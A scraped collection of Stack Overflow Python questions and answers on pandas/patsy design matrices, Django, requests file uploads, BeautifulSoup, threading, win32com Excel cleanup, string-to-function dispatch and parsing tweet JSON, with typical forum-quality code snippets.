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Python Pandas: how to turn a DataFrame with "factors" into a design matrix for linear regression?
Question: If memory servies me, in R there is a data type called factor which when used
within a DataFrame can be automatically unpacked into the necessary columns of
a regression design matrix. For example, a factor containing True/False/Maybe
values would be transformed into:
1 0 0
0 1 0
or
0 0 1
for the purpose of using lower level regression code. Is there a way to
achieve something similar using the pandas library? I see that there is some
regression support within Pandas, but since I have my own customised
regression routines I am really interested in the construction of the design
matrix (a 2d numpy array or matrix) from heterogeneous data with support for
mapping back and fort between columns of the numpy object and the Pandas
DataFrame from which it is derived.
Update: Here is an example of a data matrix with heterogeneous data of the
sort I am thinking of (the example comes from the Pandas manual):
>>> df2 = DataFrame({'a' : ['one', 'one', 'two', 'three', 'two', 'one', 'six'],'b' : ['x', 'y', 'y', 'x', 'y', 'x', 'x'],'c' : np.random.randn(7)})
>>> df2
a b c
0 one x 0.000343
1 one y -0.055651
2 two y 0.249194
3 three x -1.486462
4 two y -0.406930
5 one x -0.223973
6 six x -0.189001
>>>
The 'a' column should be converted into 4 floating point columns (in spite of
the meaning, there are only four unique atoms), the 'b' column can be
converted to a single floating point column, and the 'c' column should be an
unmodified final column in the design matrix.
Thanks,
SetJmp
Answer: There is a new module called patsy that solves this problem. The quickstart
linked below solves exactly the problem described above in a couple lines of
code.
* <http://patsy.readthedocs.org/en/latest/overview.html>
* <http://patsy.readthedocs.org/en/latest/quickstart.html>
Here is an example usage:
import pandas
import patsy
dataFrame = pandas.io.parsers.read_csv("salary2.txt")
#salary2.txt is a re-formatted data set from the textbook
#Introductory Econometrics: A Modern Approach
#by Jeffrey Wooldridge
y,X = patsy.dmatrices("sl ~ 1+sx+rk+yr+dg+yd",dataFrame)
#X.design_info provides the meta data behind the X columns
print X.design_info
generates:
> DesignInfo(['Intercept',
> 'sx[T.male]',
> 'rk[T.associate]',
> 'rk[T.full]',
> 'dg[T.masters]',
> 'yr',
> 'yd'],
> term_slices=OrderedDict([(Term([]), slice(0, 1, None)), (Term([EvalFactor('sx')]), slice(1, 2, None)),
> (Term([EvalFactor('rk')]), slice(2, 4, None)),
> (Term([EvalFactor('dg')]), slice(4, 5, None)),
> (Term([EvalFactor('yr')]), slice(5, 6, None)),
> (Term([EvalFactor('yd')]), slice(6, 7, None))]),
> builder=<patsy.build.DesignMatrixBuilder at 0x10f169510>)
|
Using django to run python scripts with password arguments
Question: I need to create a web interface that will prompt for a username, password,
and "record id" to run a separate python script using those credentials, and
then spit back a generated file.
The separate script I wrote takes a username/password (and ID) to connect to
an Oracle database (using cx_Oracle), gathers the relevant information,
generates a PDF and saves it to a preset location. It spits out the location
of the filename when it's done.
My thought was to create a django app that takes the following 3 parameters:
* Username
* Password
* ID (this will be used to determine which records to fetch for the PDF)
Django will feed the parameters to the script by calling subprocess. I would
put this into my view like so:
# ...
import subprocess
# ...
def login_view(request):
username = password = ''
if request.POST:
username = request.POST.get('username')
password = request.POST.get('password')
record_id = request.POST.get('record_id')
output = subprocess.check_output([
"python",
"myscript.py",
"-id",
record_id,
"-u",
username,
"-p",
password
])
# The output will look like:
# File /path/to/1234567.pdf saved
fname = output.split(' ')[1]
if fname.endswith('.pdf'):
# Get the filename without the /path/to junk in front
fname_nopath = fname.split('/')[-1]
file = open(fname, 'rb')
content = file.read()
file.close
response = HttpResponse(content, mimetype='application/pdf')
response['Content-Disposition'] = 'attachment; filename=%s' % fname_nopath
return response
else:
response = HttpResponse(output)
return response
I think this method is a little "clunky", and I would think there's a more
elegant approach to take.
Another way I was thinking about would be to import the external script
directly into my views.py file, then call its main function using the
username, password, and record ID passed from django. This way I can avoid the
subprocess machinery. If needed I can create a separate main() function in the
script, have it return a filestring, and use that for both opening/serving the
file through django.
The only problem is this interface is going to be used pretty frequently by
users. To require them to login every time to generate a PDF report for each
record_id is a bit of a pain. Ideally I would like to keep the users logged in
(I think I would have to maintain a cx_Oracle cursor separately, and pass that
into the script).
My feeling is that this is overcomplicating things. Is there a better way to
do this or did I miss something?
Answer: 1) You should use django forms for handling user passed parameters.
2) You could save username/password in user's session- this way users won't
need to enter them again.
3) This really depends on how much record id's you have, but you could show a
list of available record id's by querying the database.
|
post-ing a file using python requests and json
Question: I've been given the following curl command as part of API documentation, and
I'm trying to implement it using the requests library.
curl -v --cookie cookie.txt -X POST -H 'Accept: application/json' -F 'spot[photo]'[email protected] -F 'spot[description]'=spot_description -F 'spot[location_id]'=9 -F 'spot[categories][]'='See the Sights' -F 'spot[categories][]'='Learn Something' http://some.server.com/api/v1/spots
my python code looks something like this:
import requests
import json
_user = 'redacted'
_password = 'redacted'
_session = requests.session()
_server = 'http://some.server.com'
_hdr = {'content-type': 'application/json', 'accept': 'application/json'}
_login_payload = {
'user': {
'email': _user,
'password': _password
}
}
r = _session.post(_server + "/users/sign_in", data=json.dumps(_login_payload), headers=_hdr)
print json.loads(r.content)
_spot_payload = {
'spot': {
'photo': '@rails.gif',
'description': 'asdfghjkl',
'location_id': 9,
'categories': ['See the Sights',]
}
}
r = _session.post(_server + '/api/v1/spots', data=json.dumps(_spot_payload), headers=_hdr)
print json.loads(r.content)
I've heard tell that you can use open('file').read() to post files, but the
json encoder doesn't much like this, and I'm not sure about a way around it.
Answer:
C:\>cat file.txt
Some text.
When you issue this command:
C:\>curl -X POST -H "Accept:application/json" -F "spot[photo][email protected]"
-F "spot[description]=spot_description" http://localhost:8888
what's being sent looks like this:
> POST / HTTP/1.1 User-Agent: curl/7.25.0 (i386-pc-win32) libcurl/7.25.0
> OpenSSL/0.9.8u zlib/1.2.6 libssh2/1.4.0 Host: localhost:8888 Accept:
> application/json Content-Length: 325 Expect: 100-continue Content-Type:
> multipart/form-data; boundary=----------------------------e71aebf115cd
>
> \------------------------------e71aebf115cd Content-Disposition: form-data;
> name="spot[photo]"; filename="file.txt" Content-Type: text/plain
>
> Some text. \------------------------------e71aebf115cd Content-Disposition:
> form-data; name="spot[description]"
>
> spot_description \------------------------------e71aebf115cd--
As you can see curl sends request with `Content-Type` set to `multipart/form-
data;` Requests [support](http://docs.python-
requests.org/en/latest/user/quickstart/#post-a-multipart-encoded-file) sending
files using the same `Content-Type`. You should use `files` argument for this.
(2.7) C:\>python
Python 2.7.3 (default, Apr 10 2012, 23:24:47) [MSC v.1500 64 bit (AMD64)] on win32
Type "help", "copyright", "credits" or "license" for more information.
>>> import requests
>>> requests.__version__
'0.11.1'
>>> requests.post('http://localhost:8888', files={'spot[photo]': open('file.txt', 'rb')}, data={'spot[description]': 'spot_description'})
<Response [200]>
And what's being sent looks like this:
POST http://localhost:8888/ HTTP/1.1
Host: localhost:8888
Content-Length: 342
Content-Type: multipart/form-data; boundary=192.168.1.101.1.8000.1334865122.004.1
Accept-Encoding: identity, deflate, compress, gzip
Accept: */*
User-Agent: python-requests/0.11.1
--192.168.1.101.1.8000.1334865122.004.1
Content-Disposition: form-data; name="spot[description]"
Content-Type: text/plain
spot_description
--192.168.1.101.1.8000.1334865122.004.1
Content-Disposition: form-data; name="spot[photo]"; filename="file.txt"
Content-Type: text/plain
Some text.
--192.168.1.101.1.8000.1334865122.004.1--
|
Django Multi-table Inheritance, Django-model-utils errors
Question: I am working on a hobby project for my garage shop. I was directed to django-
model-utils for what I need. (I have serial CNC machines, serial machines have
two flow control methods)
I have a parent class of SerialMachine (defines address, baud rate, generic
RS-232 definition)
Then I have HardwareFlowControlMachine model which inherits from SerialMachine
(defines CTS/DTR/etc)
So when I put machine name into a form (say machine 001) I have a function
that get's machine settings.
def getMachineSettings(machine):
from src.apps.cnc.models import SerialMachine
machineSettings = SerialMachine.objects.get(machineName=machine).select_subclasses()
return machineSettings
I get this exception:
DatabaseError: no such column: cnc_hardwareflowcontrolmachine.serialmachine_ptr_id
Now for testing I only have one machine in SoftwareFlowControlMachine (none in
Hardware)
I thought maybe HardwareFlowControlMachine needed at least one object for
whatever reason. So when I go to /admin/ and try to add a machine to either
SoftwareFlowControlMachine or HardwareFlowControlMachine I get this exception:
HardwareFlowControlMachine:
DatabaseError at /admin/cnc/hardwareflowcontrolmachine/
no such column: cnc_hardwareflowcontrolmachine.serialmachine_ptr_id
Request Method: GET
Request URL: http://127.0.0.1:8000/admin/cnc/hardwareflowcontrolmachine/
Django Version: 1.4
Exception Type: DatabaseError
Exception Value:
no such column: cnc_hardwareflowcontrolmachine.serialmachine_ptr_id
Exception Location: C:\Python27\lib\site-packages\django\db\backends\sqlite3\base.py in execute, line 337
Python Executable: C:\Python27\python.exe
Python Version: 2.7.2
SoftwareFlowControlMachine:
DatabaseError at /admin/cnc/softwareflowcontrolmachine/
no such column: cnc_softwareflowcontrolmachine.serialmachine_ptr_id
Request Method: GET
Request URL: http://127.0.0.1:8000/admin/cnc/softwareflowcontrolmachine/
Django Version: 1.4
Exception Type: DatabaseError
Exception Value:
no such column: cnc_softwareflowcontrolmachine.serialmachine_ptr_id
Exception Location: C:\Python27\lib\site-packages\django\db\backends\sqlite3\base.py in execute, line 337
Python Executable: C:\Python27\python.exe
Python Version: 2.7.2
Let me know if I need to provide more info. I am really not sure what I am
missing
Answer: I got it working. I'm still unclear on why it happened though. A mistake I
made is instead of
machineSettings = SerialMachine.objects.get(machineName=machine).select_subclasses()
I needed this
machineSettings = SerialMachine.objects.get_subclass(machineName=machine)
I also just deleted my database and remade it.
Hope this helps others too
|
Python BeautifulSoup double question mark in xml definition
Question: I thought it must be a bug so i issued a bug report
[here](https://bugs.launchpad.net/beautifulsoup/+bug/984258). On the other
hand i might be missing something so i need another look on the code.
The problem is, when i initialize BeautifulSoup with contents of an .xhtml
file, xml definition gets two question marks at the end of it.
Can you reproduce the problem? Is there a way to avoid it? Am i missing a
function, a method, an argument or something?
**Edit0:** It's BeautifulSoup 4 on python 2.x.
**Edit1:** Why downvote?
* * *
The problem:
<?xml version="1.0" encoding="UTF-8"??>
Terminal Output:
>>> from bs4 import BeautifulSoup as bs
>>> with open('example.xhtml', 'r') as f:
... txt = f.read()
... soup = bs(txt)
...
>>> print txt
<?xml version="1.0" encoding="UTF-8"?>
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta charset="utf-8"/>
</head>
<body>
</body>
</html>
>>> print soup
<?xml version="1.0" encoding="UTF-8"??>
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta charset="utf-8"/>
</head>
<body>
</body>
</html>
Answer: Consider using an XML parser:
soup = bs(txt, 'xml')
|
Using Global variables in Threads in Python
Question: I am in a situation where i want to put a thread in a loop depending on a
variable which is being changed in one of the called function in the
thread.Here is what i want.
error= 0
while( error = 0)
run_thread = threading.Thread(target=self.run_test,args=(some arguments))
if ( error = 0)
continue
else:
break
Now run test calls a function say A and A calls B and B calls C.
def A()
B()
def B()
c()
def c()
global error
error = 1
This is what i want to do but i cant work this out. If i try to print error i
get an error in code.
Can anybody please help me on this?
i am a beginner and need to get over this
Answer:
error = False
def A():
B()
def B():
c()
def c():
global error
error = True
def run_test():
while not error:
A()
print "Error!"
import threading
run_thread = threading.Thread(target=run_test,args=())
run_thread.start()
However, its better to subclass thread and re-implement run(), and also use
exceptions:
def A():
raise ValueError("Bad Value")
import threading
class StoppableThread(threading.Thread):
def __init__(self, *args, **kwargs):
self.stop = False
def run(self):
while not self.stop:
A() #Will raise, which will stop the thread 'exceptionally'
def stop(self): #Call from main thread, thread will eventually check this value and exit 'cleanly'
self.stop = True
|
Send bash environment variable back to python fabric
Question: I am attempting to pass a bash environment variable back into my fabric
function like this:-
from fabric.api import env
def env_localhost():
"All the environment variables relating to your localhost"
project_home = local('echo $PROJECT_HOME')
print 111, project_home
But it doesn't seem to be able to retrieve the stdout results and assign it to
my python `project_home` variable. What's the correct way to do this right?
Answer: Do it like this:
import os
os.getenv("PATH")
|
C# .NET interoperabillity with managed Python (CPython) -> any problems?
Question: I am working on a design of an application. The Core should be written in C#
but i also want to use some already finished CPython modules (un-managed).
So I am interested in the interoperability (Call CPython method from C# and
Call C# from CPython). And if there are problems, because C# runs within the
.NET runtime (managed) and CPython directly un-managed.
I already investigated this issue with Google and came out to these solutions:
* Use IronPython via DLR + "CPython extension" + maybe "IronClad" and call from IronPython the CPython modules and vice versa -> are these modules executed managed or unmanaged ? Are There any problems if i want to use C# classes and methods from CPython ?
* Use "Python for .NET" -> the same question as above.
What do you think, which way would be better ? or do you have another solution
?
And the last but maybe most important question, did I understand the above
mentioned points right, or do I mess up ?
Many thanks in advance !!
Answer: I think you misunderstand Python. It's an interpreted1 language. You just
provide the text source files and the interpreter will execute them.
There is a difference between the _language_ Python and the _implementations_
CPython, IronPython, Jython, PyPy, what have you. Each of them attempts to
implement the language Python as accurately as possible, while also adding
implementation-specific functionality. This is just like how, say, the C#
compiler was written in C++.
For example, any (pure) Python file can be executed by the IronPython
interpreter. But if you know that you're going to use IronPython, you can use
the special IronPython features that let you into the .NET library.
Now, most Python doesn't use any of the implementation-specific functionality,
so it doesn't matter what you use to run it. Some Python does, though.
1Well, it's compiled into .pyc files... but then "compile" isn't really a
well-defined term anyway.
* * *
Why does this matter to you? Well, you have a bunch of Python source code that
you want to use with the .NET framework. If that code doesn't use any of the
CPython-specific features -- such as using C extension modules -- then you can
just run it in IronPython.
|
python compare words
Question: I have stuck with following problem: I am trying to get subject and compare
from email (it's saved on disk, email in UTF-8)
import re
def check_subj():
subj = ""
file = open("/home/hikaru/Desktop/sub.eml", "r")
for line in file:
try:
a = re.search("Subject:\ ", line, re.IGNORECASE)
a = line[a.end():]
subj = a
break
except AttributeError:
pass
return subj
print(check_subj())
if check_subj() == 'sub':
print("yay")
Everything seems fine to me, "print" successfully shows me "sub", but
comparison won't print "yay" for me. I can't understand why -(
Answer: An end of line, as suggested, is the probable cause of your problem. Here is a
more robust solution (the loop only)
for line in file:
match = re.search("Subject:\ (.*)", line, re.IGNORECASE)
if match:
subj = match.group(1)
break
|
Basic indentation - Python
Question:
#RockPS
import random
Choices=['R','P','S']
UserScore=0
CpuScore=0
Games=0
while Games<6:
UserChoice=input('Rock, paper or scissors? (Type R, P or S respectively)')
if UserChoice in Choices:
Games+=1
CpuChoice = random.choice(Choices)
if UserChoice == 'S' and CpuChoice == 'P':
UserScore+=1
if UserChoice == 'P' and CpuChoice == 'R':
UserScore+=1
if UserChoice == 'R' and CpuChoice == 'S':
UserScore+=1
if UserChoice == 'S' and CpuChoice == 'R':
CpuScore+=1
if UserChoice == 'P' and CpuChoice == 'S':
CpuScore+=1
if UserChoice == 'R' and CpuChoice == 'P':
CpuScore+=1
print(UserScore, CpuScore)
if UserScore>CpuScore:
print('Well done, you won!')
if UserScore==CpuScore:
print('You tied!')
if UserScore<CpuScore:
('Unlucky, you lost.')
I'm new to Python so it's likely I've missed something obvious. The program
runs fine. It's a Rock, Paper or Scissors game. 5 games are played and the
scores are listed at the end of the game. At the moment, it only says 1 0, 0
0, or 0 1 either way, only counting 1 game. I'm not sure why this is. I think
that it is to do with my indentation as I don't see a problem with my loop.
Answer: Here's what's going on: this part of your code
while Games<6:
UserChoice=input('Rock, paper or scissors? (Type R, P or S respectively)')
if UserChoice in Choices:
Games+=1
executes 6 times, but all the remaining lines from here down:
CpuChoice = random.choice(Choices)
if UserChoice == 'S' and CpuChoice == 'P':
UserScore+=1
if UserChoice == 'P' and CpuChoice == 'R':
UserScore+=1
only execute once, after the loop iterations are complete. All of the `if
UserChoice ==` lines should be indented so that they are part of the loop
body.
|
python string to function: globals() vs sys.module vs dictionary
Question: I want to know what is the best way to map the string to a function. so far I
know I can use:
1. globals()[func_string]
2. sys.modules[__name__]
3. funcs_dictionary["func_string" : func]
Here is the code:
>>> def foo(arg):
... print "I'm foo: %s" % arg
...
>>> def bar(arg):
... print "I'm bar: %s" % arg
...
>>>
>>> foo
<function foo at 0xb742c7d4>
>>> bar
<function bar at 0xb742c80c>
>>>
globals()[func_string]:
>>> def exec_funcs_globals(funcs_string):
... for func_string in funcs_string:
... func = globals()[func_string]
... func("from globals() %s" % func)
...
>>> exec_funcs_globals(["foo", "bar"])
I'm foo: from globals() <function foo at 0xb742c7d4>
I'm bar: from globals() <function bar at 0xb742c80c>
>>>
sys.modules[__name__]:
>>> import sys
>>>
>>> def exec_funcs_thismodule(funcs_string):
... thismodule = sys.modules[__name__]
... for func_string in funcs_string:
... func = getattr(thismodule, func_string)
... func("from thismodule %s" % func)
...
>>> exec_funcs_thismodule(["foo", "bar"])
I'm foo: from thismodule <function foo at 0xb742c7d4>
I'm bar: from thismodule <function bar at 0xb742c80c>
>>>
funcs_dictionary["func_string" : func]:
>>> funcs = {
... "foo" : foo,
... "bar" : bar
... }
>>>
>>> def exec_funcs_dict(funcs_string):
... for func_string in funcs_string:
... func = funcs[func_string]
... func("from thismodule %s" % func)
...
>>> exec_funcs_dict(["foo", "bar"])
I'm foo: from thismodule <function foo at 0xb742c7d4>
I'm bar: from thismodule <function bar at 0xb742c80c>
Originally I was worry about the sys.modules[__name__] will reload the modules
and hurt the performance. But the code above seem to show that the function
pointers are the same, so I guess I don't have to worry about it?
What is the best use case for the option 1, 2, 3?
Answer: Using _globals()_ is the normal way to access (and store) variables you want
to access globally.
Otherwise, the usual choice is to implement a dispatch dictionary (like your
option 3).
I've not seen the _sys.modules_ approach used anywhere.
|
Can't close Excel completely using win32com on Python
Question: This is my code, and I found many answers for
[VBA](http://en.wikipedia.org/wiki/Visual_Basic_for_Applications), .NET
framework and is pretty strange. When I execute this, Excel closes.
from win32com.client import DispatchEx
excel = DispatchEx('Excel.Application')
wbs = excel.Workbooks
wbs.Close()
excel.Quit()
wbs = None
excel = None # <-- Excel Closes here
But when I do the following, it does not close.
excel = DispatchEx('Excel.Application')
wbs = excel.Workbooks
wb = wbs.Open('D:\\Xaguar\\A1.xlsm')
wb.Close(False)
wbs.Close()
excel.Quit()
wb = None
wbs = None
excel = None # <-- NOT Closing !!!
I found some possible answer in Stack Overflow question _[Excel process
remains open after interop; traditional method not
working](http://stackoverflow.com/questions/8977571/excel-process-remains-
open-after-interop-traditional-method-not-working)_. The problem is that is
not Python, and I don't find `Marshal.ReleaseComObject` and `GC`. I looked
over all the demos on `...site-packages/win32com` and others.
Even it does not bother me if I can just get the PID and kill it.
I found a workaround in _[Kill process based on window name
(win32)](http://python.6.n6.nabble.com/Kill-process-based-on-window-name-
win32-td1042063.html)_.
May be not the proper way, but a workround is:
def close_excel_by_force(excel):
import win32process
import win32gui
import win32api
import win32con
# Get the window's process id's
hwnd = excel.Hwnd
t, p = win32process.GetWindowThreadProcessId(hwnd)
# Ask window nicely to close
win32gui.PostMessage(hwnd, win32con.WM_CLOSE, 0, 0)
# Allow some time for app to close
time.sleep(10)
# If the application didn't close, force close
try:
handle = win32api.OpenProcess(win32con.PROCESS_TERMINATE, 0, p)
if handle:
win32api.TerminateProcess(handle, 0)
win32api.CloseHandle(handle)
except:
pass
excel = DispatchEx('Excel.Application')
wbs = excel.Workbooks
wb = wbs.Open('D:\\Xaguar\\A1.xlsm')
wb.Close(False)
wbs.Close()
excel.Quit()
wb = None
wbs = None
close_excel_by_force(excel) # <--- YOU #@#$# DIEEEEE!! DIEEEE!!!
Answer: Try this:
wbs.Close()
excel.Quit()
del excel # this line removed it from task manager in my case
|
How Do I Read a Multi-line File of JSON and Count Words in Specific Field in Python
Question: I have a file with many hundreds of lines of json encoded tweets pulled from
python-tweetstreamer. The lines look like:
{"favorited": false, "in_reply_to_user_id": null, "contributors": null, "truncated": false, "text": "kasian pak weking :| RT @veNikenD: Kasian kenapa???RT @SaputraJordhy: kasian \u256e(\u256f_\u2570)\u256d RT @veNikenD: Tak ingin lg kudengar kata2 yg tak ......", "created_at": "Tue Apr 03 14:07:59 +0000 2012", "retweeted": false, "in_reply_to_status_id": null, "coordinates": null, "in_reply_to_user_id_str": null, "entities": {"user_mentions": [{"indices": [24, 33], "screen_name": "veNikenD", "id": 64910664, "name": "Ve Damayanti", "id_str": "64910664"}, {"indices": [54, 68], "screen_name": "SaputraJordhy", "id": 414675856, "name": "jordhy_ynwa", "id_str": "414675856"}, {"indices": [88, 97], "screen_name": "veNikenD", "id": 64910664, "name": "Ve Damayanti", "id_str": "64910664"}], "hashtags": [], "urls": []}, "in_reply_to_status_id_str": null, "id_str": "187179645026836481", "in_reply_to_screen_name": null, "user": {"follow_request_sent": null, "profile_use_background_image": true, "profile_background_image_url_https": "https://si0.twimg.com/profile_background_images/418679759/Young_Minato_and_Kushina_by_HaNa7.jpg", "verified": false, "profile_image_url_https": "https://si0.twimg.com/profile_images/1953774147/Untitled1_normal.png", "profile_sidebar_fill_color": "DDEEF6", "is_translator": false, "id": 414675856, "profile_text_color": "1c181c", "followers_count": 46, "protected": false, "location": "", "default_profile_image": false, "listed_count": 0, "utc_offset": 25200, "statuses_count": 409, "description": "never walk alone", "friends_count": 76, "profile_link_color": "0084B4", "profile_image_url": "http://a0.twimg.com/profile_images/1953774147/Untitled1_normal.png", "notifications": null, "show_all_inline_media": false, "geo_enabled": false, "profile_background_color": "C0DEED", "id_str": "414675856", "profile_background_image_url": "http://a0.twimg.com/profile_background_images/418679759/Young_Minato_and_Kushina_by_HaNa7.jpg", "screen_name": "SaputraJordhy", "lang": "id", "profile_background_tile": true, "favourites_count": 0, "name": "jordhy_ynwa", "url": null, "created_at": "Thu Nov 17 10:41:05 +0000 2011", "contributors_enabled": false, "time_zone": "Jakarta", "profile_sidebar_border_color": "C0DEED", "default_profile": false, "following": null}, "place": null, "retweet_count": 0, "geo": null, "id": 187179645026836481, "source": "<a href=\"https://embr.in\" rel=\"nofollow\">embr</a>"}
{"favorited": false, "in_reply_to_user_id": 441527150, "contributors": null, "truncated": false, "text": "@akoriko1046 \u5bdd\u308b\u306e\uff1f\u3000\u5f85\u3063\u3066\u50d5\u3082\u884c\u304f\u3088\u2026\u5e03\u56e3\u307e\u3067\u304a\u59eb\u69d8\u62b1\u3063\u3053\u3057\u3066\u3044\u3063\u3066\u3042\u3052\u308b", "created_at": "Tue Apr 03 14:07:59 +0000 2012", "retweeted": false, "in_reply_to_status_id": 187179532103598080, "coordinates": null, "in_reply_to_user_id_str": "441527150", "entities": {"user_mentions": [{"indices": [0, 12], "screen_name": "akoriko1046", "id": 441527150, "name": "\u30a2\u30b3\u30ea\u30b3", "id_str": "441527150"}], "hashtags": [], "urls": []}, "in_reply_to_status_id_str": "187179532103598080", "id_str": "187179645014253568", "in_reply_to_screen_name": "akoriko1046", "user": {"follow_request_sent": null, "profile_use_background_image": true, "profile_background_image_url_https": "https://si0.twimg.com/profile_background_images/440543906/122004876_org.jpg", "verified": false, "profile_image_url_https": "https://si0.twimg.com/profile_images/1870697453/__________bg_normal.jpg", "profile_sidebar_fill_color": "DDEEF6", "is_translator": false, "id": 513679998, "profile_text_color": "333333", "followers_count": 169, "protected": false, "location": "\u3042\u306a\u305f\u306e\u96a3", "default_profile_image": false, "listed_count": 2, "utc_offset": 32400, "statuses_count": 6024, "description": "\u8584\u685c\u9b3c\u6c96\u7530\u7dcf\u53f8\u306e\u975e\u516c\u5f0fbot\u3067\u3059\u7518\u7518/\u30a8\u30ed\u8a2d\u5b9a\u3000\uff8c\uff6b\uff9b\uff70\u306e\u518d\u306f\u5fc5\u305a\u8aac\u660e\u66f8\u3092\u4e00\u8aad\u4e0b\u3055\u3044http://www.pixiv.net/novel/show.php?id=934499 \u624b\u52d5\u3067\u30d5\u30a9\u30ed\u8fd4\u3057\u3092\u884c\u3063\u3066\u307e\u3059\u3000\u7a00\u306b\u4e2d\u306b\u7ba1\u7406\u4eba\u304c\u3044\u307e\u3059\u3000\u7ba1\u7406\u4eba@akanemam1 18\u7981\u7dcf\u53f8\u2192 @sou_oki_18bot", "friends_count": 166, "profile_link_color": "0084B4", "profile_image_url": "http://a0.twimg.com/profile_images/1870697453/__________bg_normal.jpg", "notifications": null, "show_all_inline_media": false, "geo_enabled": false, "profile_background_color": "C0DEED", "id_str": "513679998", "profile_background_image_url": "http://a0.twimg.com/profile_background_images/440543906/122004876_org.jpg", "screen_name": "sou_oki_bot", "lang": "ja", "profile_background_tile": false, "favourites_count": 1, "name": "\u7dcf\u53f8(bot)", "url": null, "created_at": "Sat Mar 03 22:36:15 +0000 2012", "contributors_enabled": false, "time_zone": "Irkutsk", "profile_sidebar_border_color": "C0DEED", "default_profile": false, "following": null}, "place": null, "retweet_count": 0, "geo": null, "id": 187179645014253568, "source": "<a href=\"http://twittbot.net/\" rel=\"nofollow\">twittbot.net</a>"}
{"favorited": false, "in_reply_to_user_id": 141448885, "contributors": null, "truncated": false, "text": "@nobuttu3 \u6642\u9593\u304c\u904e\u304e\u308b\u306e\u304c\u7269\u51c4\u304f\u65e9\u3044\u3067\u3059\u3088\u306d\u2026", "created_at": "Tue Apr 03 14:07:59 +0000 2012", "retweeted": false, "in_reply_to_status_id": 187179547098234880, "coordinates": null, "in_reply_to_user_id_str": "141448885", "entities": {"user_mentions": [{"indices": [0, 9], "screen_name": "nobuttu3", "id": 141448885, "name": "\u306e\u4ecf \uf8ff \u30bf\u30ab\u30cf\u30b7", "id_str": "141448885"}], "hashtags": [], "urls": []}, "in_reply_to_status_id_str": "187179547098234880", "id_str": "187179645047799808", "in_reply_to_screen_name": "nobuttu3", "user": {"follow_request_sent": null, "profile_use_background_image": true, "profile_background_image_url_https": "https://si0.twimg.com/profile_background_images/424878981/tw_hvt_nz.jpg", "verified": false, "profile_image_url_https": "https://si0.twimg.com/profile_images/1223811261/twitter_icon_normal.png", "profile_sidebar_fill_color": "daecf4", "is_translator": false, "id": 97481308, "profile_text_color": "663B12", "followers_count": 436, "protected": false, "location": "\u6771\u4eac\u90fd\u53f0\u6771\u533a", "default_profile_image": false, "listed_count": 20, "utc_offset": 32400, "statuses_count": 63704, "description": "\u591a\u5206PG\u3001\u6642\u3005SE\u307d\u3044\u4ed5\u4e8b\u3092\u3057\u3066\u3044\u307e\u3059\u3002\u30e9\u30ce\u30d9\u597d\u304d\u3001\u97f3\u697d\u597d\u304d(\u7279\u5b9a\u306e\u5206\u91ce\u3067\u3059\u304c)\u3002\u30bd\u30b3\u30bd\u30b3\u306e\u983b\u5ea6\u3067\u79cb\u8449\u539f\u306b\u3044\u305f\u308a\u3082\u3057\u307e\u3059\u3002 ", "friends_count": 896, "profile_link_color": "1F98C7", "profile_image_url": "http://a0.twimg.com/profile_images/1223811261/twitter_icon_normal.png", "notifications": null, "show_all_inline_media": false, "geo_enabled": false, "profile_background_color": "ffffff", "id_str": "97481308", "profile_background_image_url": "http://a0.twimg.com/profile_background_images/424878981/tw_hvt_nz.jpg", "screen_name": "xi6", "lang": "ja", "profile_background_tile": false, "favourites_count": 4473, "name": "\u3055\u304f", "url": null, "created_at": "Thu Dec 17 16:55:25 +0000 2009", "contributors_enabled": false, "time_zone": "Tokyo", "profile_sidebar_border_color": "C6E2EE", "default_profile": false, "following": null}, "place": null, "retweet_count": 0, "geo": null, "id": 187179645047799808, "source": "<a href=\"http://tapbots.com/tweetbot\" rel=\"nofollow\">Tweetbot for iOS</a>"}
{"favorited": false, "in_reply_to_user_id": null, "contributors": null, "truncated": false, "text": "#ImSingleBecause lolz I'm not. Happily taken by @GarrettBettler <33 I love him, forever :)", "created_at": "Tue Apr 03 14:07:59 +0000 2012", "retweeted": false, "in_reply_to_status_id": null, "coordinates": null, "in_reply_to_user_id_str": null, "entities": {"user_mentions": [{"indices": [48, 63], "screen_name": "GarrettBettler", "id": 460816116, "name": "Garrett Bettler", "id_str": "460816116"}], "hashtags": [{"indices": [0, 16], "text": "ImSingleBecause"}], "urls": []}, "in_reply_to_status_id_str": null, "id_str": "187179645039427584", "in_reply_to_screen_name": null, "user": {"follow_request_sent": null, "profile_use_background_image": true, "profile_background_image_url_https": "https://si0.twimg.com/profile_background_images/452188318/tanja_beach_2007_001.JPG", "verified": false, "profile_image_url_https": "https://si0.twimg.com/profile_images/1971847266/image_normal.jpg", "profile_sidebar_fill_color": "f6ffd1", "is_translator": false, "id": 461432420, "profile_text_color": "333333", "followers_count": 222, "protected": false, "location": "", "default_profile_image": false, "listed_count": 0, "utc_offset": null, "statuses_count": 2334, "description": "", "friends_count": 192, "profile_link_color": "0099CC", "profile_image_url": "http://a0.twimg.com/profile_images/1971847266/image_normal.jpg", "notifications": null, "show_all_inline_media": false, "geo_enabled": false, "profile_background_color": "FFF04D", "id_str": "461432420", "profile_background_image_url": "http://a0.twimg.com/profile_background_images/452188318/tanja_beach_2007_001.JPG", "screen_name": "LeahOswalt", "lang": "en", "profile_background_tile": false, "favourites_count": 86, "name": "Leah Oswalt", "url": null, "created_at": "Wed Jan 11 20:07:24 +0000 2012", "contributors_enabled": false, "time_zone": null, "profile_sidebar_border_color": "fff8ad", "default_profile": false, "following": null}, "place": null, "retweet_count": 0, "geo": null, "id": 187179645039427584, "source": "<a href=\"http://twitter.com/#!/download/iphone\" rel=\"nofollow\">Twitter for iPhone</a>"}
